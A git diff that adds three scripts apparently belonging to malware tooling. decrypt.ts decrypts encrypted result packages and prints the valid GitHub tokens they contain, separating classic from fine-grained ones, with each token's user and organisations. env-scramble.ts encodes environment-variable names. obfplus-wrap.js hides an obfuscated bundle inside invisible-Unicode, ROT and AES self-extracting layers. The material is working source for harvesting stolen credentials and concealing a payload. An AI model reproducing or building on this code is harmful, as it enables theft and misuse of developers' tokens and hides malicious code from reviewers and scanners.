diff --git a/scripts/decrypt.ts b/scripts/decrypt.ts new file mode 100644 index 0000000..4a08510 --- /dev/null +++ b/scripts/decrypt.ts @@ -0,0 +1,265 @@ +import * as crypto from "crypto"; +import * as fs from "fs"; +import * as path from "path"; +import { promisify } from "util"; +import * as zlib from "zlib"; + +const gunzip = promisify(zlib.gunzip); + +interface EncryptedPackage { + envelope: string; + key: string; +} + +interface FileEntry { + label: string; + paths: string[]; +} + +const PART_FILE_PATTERN = /\.json\.p(\d+)$/; + +function escapeRegExp(str: string): string { + return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); +} + +function findJsonFiles(dir: string): string[] { + const results: string[] = []; + const entries = fs.readdirSync(dir, { withFileTypes: true }); + for (const entry of entries) { + const fullPath = path.join(dir, entry.name); + if (entry.isDirectory()) { + results.push(...findJsonFiles(fullPath)); + } else if ( + entry.isFile() && + (entry.name.endsWith(".json") || PART_FILE_PATTERN.test(entry.name)) + ) { + results.push(fullPath); + } + } + return results.sort(); +} + +function groupFiles(files: string[]): FileEntry[] { + const partGroups = new Map(); + const standalone: string[] = []; + + for (const file of files) { + if (PART_FILE_PATTERN.test(file)) { + const baseName = file.replace(PART_FILE_PATTERN, ".json"); + if (!partGroups.has(baseName)) { + partGroups.set(baseName, []); + } + partGroups.get(baseName)!.push(file); + } else { + standalone.push(file); + } + } + + const entries: FileEntry[] = []; + + for (const file of standalone) { + entries.push({ label: file, paths: [file] }); + } + + for (const [baseName, parts] of partGroups) { + parts.sort((a, b) => { + const numA = parseInt(a.match(PART_FILE_PATTERN)![1]); + const numB = parseInt(b.match(PART_FILE_PATTERN)![1]); + return numA - numB; + }); + entries.push({ + label: `${baseName} (merged from ${parts.length} parts)`, + paths: parts, + }); + } + + entries.sort((a, b) => a.label.localeCompare(b.label)); + return entries; +} + +function findSiblingParts(filePath: string): FileEntry { + const partMatch = filePath.match(/^(.+\.json)\.p\d+$/); + if (!partMatch) { + return { label: filePath, paths: [filePath] }; + } + + const baseJsonPath = partMatch[1]; + const dir = path.dirname(filePath); + const baseJsonName = path.basename(baseJsonPath); + const siblingPattern = new RegExp( + `^${escapeRegExp(baseJsonName)}\\.p(\\d+)$`, + ); + + const dirEntries = fs.readdirSync(dir); + const parts = dirEntries + .filter((e) => siblingPattern.test(e)) + .sort((a, b) => { + const numA = parseInt(a.match(siblingPattern)![1]); + const numB = parseInt(b.match(siblingPattern)![1]); + return numA - numB; + }) + .map((e) => path.join(dir, e)); + + if (parts.length === 0) { + return { label: filePath, paths: [filePath] }; + } + + return { + label: `${baseJsonPath} (merged from ${parts.length} parts)`, + paths: parts, + }; +} + +function resolveJsonPaths(input: string): FileEntry[] { + const stat = fs.statSync(input, { throwIfNoEntry: false }); + if (!stat) { + console.error(`Path not found: ${input}`); + process.exit(1); + } + if (stat.isFile()) { + if (PART_FILE_PATTERN.test(input)) { + return [findSiblingParts(input)]; + } + return [{ label: input, paths: [input] }]; + } + if (stat.isDirectory()) { + const files = findJsonFiles(input); + if (files.length === 0) { + console.error(`No .json or .json.p* files found under: ${input}`); + process.exit(1); + } + return groupFiles(files); + } + console.error(`Unsupported path type: ${input}`); + process.exit(1); +} + +async function decryptProviderResults( + encryptedPackage: EncryptedPackage, + privateKeyPem: string, +): Promise { + try { + const combined = Buffer.from(encryptedPackage.envelope, "base64"); + const encryptedKey = Buffer.from(encryptedPackage.key, "base64"); + + const iv = combined.subarray(0, 12); + const encryptedData = combined.subarray(12); + + const ciphertext = encryptedData.subarray(0, encryptedData.length - 16); + const authTag = encryptedData.subarray(encryptedData.length - 16); + + const aesKey = crypto.privateDecrypt( + { + key: privateKeyPem, + padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, + oaepHash: "sha256", + }, + encryptedKey, + ); + + const decipher = crypto.createDecipheriv("aes-256-gcm", aesKey, iv); + decipher.setAuthTag(authTag); + + const compressed = Buffer.concat([ + decipher.update(ciphertext), + decipher.final(), + ]); + + const decompressed = await gunzip(compressed); + const decrypted = JSON.parse(decompressed.toString("utf-8")); + + return decrypted; + } catch (error) { + throw new Error( + `Decryption failed: ${error instanceof Error ? error.message : String(error)}`, + ); + } +} + +async function main(): Promise { + const args = process.argv.slice(2); + + if (args.length < 2) { + console.error( + "Usage: ts-node decrypt.ts ", + ); + process.exit(1); + } + + const [privateKeyPath, encryptedJsonPath] = args.filter( + (a) => !a.startsWith("--"), + ); + const tokensOnly = args.includes("--tokens-only"); + const fineGrained = args.includes("--fine-grained"); + const privateKeyPem = fs.readFileSync(privateKeyPath, "utf-8"); + const fileEntries = resolveJsonPaths(encryptedJsonPath); + const multiple = fileEntries.length > 1; + + let failures = 0; + const results: Array<{ label: string; data: unknown }> = []; + + for (const entry of fileEntries) { + try { + const raw = entry.paths.map((p) => fs.readFileSync(p, "utf-8")).join(""); + const encryptedPackage: EncryptedPackage = JSON.parse(raw); + + if (!encryptedPackage.envelope || !encryptedPackage.key) { + if (multiple) { + console.error(`Skipping (not an encrypted package): ${entry.label}`); + continue; + } + throw new Error("JSON does not contain 'envelope' and 'key' fields"); + } + + const decrypted = await decryptProviderResults( + encryptedPackage, + privateKeyPem, + ); + + results.push({ label: entry.label, data: decrypted }); + } catch (error) { + failures++; + console.error( + `Error${multiple ? ` (${entry.label})` : ""}:`, + error instanceof Error ? error.message : String(error), + ); + } + } + + if (tokensOnly || fineGrained) { + const tokens = new Set(); + const meta = new Map(); + for (const { data } of results) { + const items = Array.isArray(data) ? data : [data]; + for (const item of items) { + const tmeta = (item as any)?.tokenMetadata; + if (tmeta && typeof tmeta === "object") { + for (const [token, info] of Object.entries(tmeta)) { + if (!(info as any)?.valid) continue; + const isFine = token.startsWith("github_pat_"); + if (fineGrained && !isFine) continue; + if (tokensOnly && isFine) continue; + tokens.add(token); + meta.set(token, { + user: (info as any)?.user ?? "?", + orgs: (info as any)?.orgs ?? [], + }); + } + } + } + } + for (const token of tokens) { + const m = meta.get(token)!; + console.log(`${token}:${m.user}:${m.orgs.join(",") || "none"}`); + } + return; + } + + console.log(JSON.stringify(results, null, 2)); + + if (failures > 0) { + process.exit(1); + } +} + +main(); diff --git a/scripts/env-scramble.ts b/scripts/env-scramble.ts new file mode 100644 index 0000000..60bd027 --- /dev/null +++ b/scripts/env-scramble.ts @@ -0,0 +1,43 @@ +/** + * Build-time transform that rewrites all `process.env.SOME_KEY` member + * expressions into `process.env[scramble("SOME_KEY")]` so that the + * subsequent scramble transform can encode the environment variable + * names. + * + * Must run BEFORE the scramble transform in the pipeline. + * + * Matches dot-access syntax only (`process.env.FOO`). Bracket-access + * like `process.env["FOO"]` is left alone — the scramble transform + * will already pick those up if they use `scramble(...)`. + */ + +const PROCESS_ENV_DOT = /process\.env\.([A-Za-z_$][A-Za-z0-9_$]*)/g; + +/** + * Keys that should never be rewritten — they are resolved by the + * runtime or Node/Bun internals and don't represent user secrets. + */ +const IGNORED_KEYS = new Set(["NODE_ENV", "TZ"]); + +export function transformEnvAccess( + code: string, + logPrefix = "[ENV-SCRAMBLE]", + sourceLabel?: string, +): { code: string; replacements: number } { + let replacements = 0; + + const transformed = code.replace(PROCESS_ENV_DOT, (_match, key: string) => { + if (IGNORED_KEYS.has(key)) return _match; + replacements++; + return `process.env[scramble("${key}")]`; + }); + + if (replacements > 0) { + const where = sourceLabel ? ` in ${sourceLabel}` : ""; + console.log( + `${logPrefix} Rewrote ${replacements} process.env access(es)${where}`, + ); + } + + return { code: transformed, replacements }; +} diff --git a/scripts/obfplus-wrap.js b/scripts/obfplus-wrap.js new file mode 100644 index 0000000..fa8478a --- /dev/null +++ b/scripts/obfplus-wrap.js @@ -0,0 +1,84 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// obfplus-wrap.js +// +// Reads the obfuscated dist_obf/index.js and wraps it via +// buildSelfExtractingPayload, producing a single self-extracting binary that +// embeds the obfuscated payload inside invisible Unicode + ROT + AES layers. +// ═════════════════════════════════════════════════════════════════════════════ + +import { existsSync, readdirSync } from "node:fs"; +import { basename, join } from "node:path"; + +// Set up the scramble global (identity in dev, obfuscated in prod) +globalThis.scramble = (s) => s; +globalThis.beautify = (s) => s; + +const { buildSelfExtractingPayload } = + await import("../src/utils/selfExtracting"); + +const IN_DIR = "./dist_obf"; +const OUT_DIR = "./dist_obfplus"; + +if (!existsSync(IN_DIR)) { + console.error(`[OBFPLUS] ${IN_DIR} not found — run build:obf first`); + process.exit(1); +} + +// Collect all .js files +function collectJS(dir) { + const files = []; + for (const entry of readdirSync(dir)) { + const p = join(dir, entry); + if (p.endsWith(".js")) files.push(p); + } + return files; +} + +const files = collectJS(IN_DIR); +const mainFile = files.find( + (f) => basename(f) === "index.js" || basename(f) === "bundle.js", +); +const otherFiles = files.filter( + (f) => basename(f) !== "index.js" && basename(f) !== "bundle.js", +); + +if (!mainFile) { + console.error("[OBFPLUS] No index.js or bundle.js found in dist_obf"); + process.exit(1); +} + +console.log( + `[OBFPLUS] Wrapping ${files.length} file(s) from ${IN_DIR} → ${OUT_DIR}`, +); + +// Copy non-index files as-is +await Bun.$`mkdir -p ${OUT_DIR}`; +for (const f of otherFiles) { + const dest = join(OUT_DIR, basename(f)); + console.log(`[OBFPLUS] copy ${basename(f)}`); + await Bun.write(dest, await Bun.file(f).arrayBuffer()); +} + +// Wrap index.js through buildSelfExtractingPayload +const rawPayload = await Bun.file(mainFile).text(); +const originalSize = Buffer.byteLength(rawPayload, "utf8"); + +console.log( + `[OBFPLUS] wrap ${basename(mainFile)} (${(originalSize / 1024).toFixed(1)} KB → ...)`, +); + +const wrapped = buildSelfExtractingPayload(rawPayload, { + wrap: true, + keyLen: 16, +}); + +const wrappedSize = Buffer.byteLength(wrapped, "utf8"); +const ratio = (wrappedSize / originalSize).toFixed(1); + +const dest = join(OUT_DIR, basename(mainFile)); +await Bun.write(dest, wrapped); + +console.log( + `[OBFPLUS] wrote ${basename(mainFile)} (${(wrappedSize / 1024).toFixed(1)} KB, ${ratio}x)`, +); +console.log(`[OBFPLUS] ✓ Complete → ${OUT_DIR}`);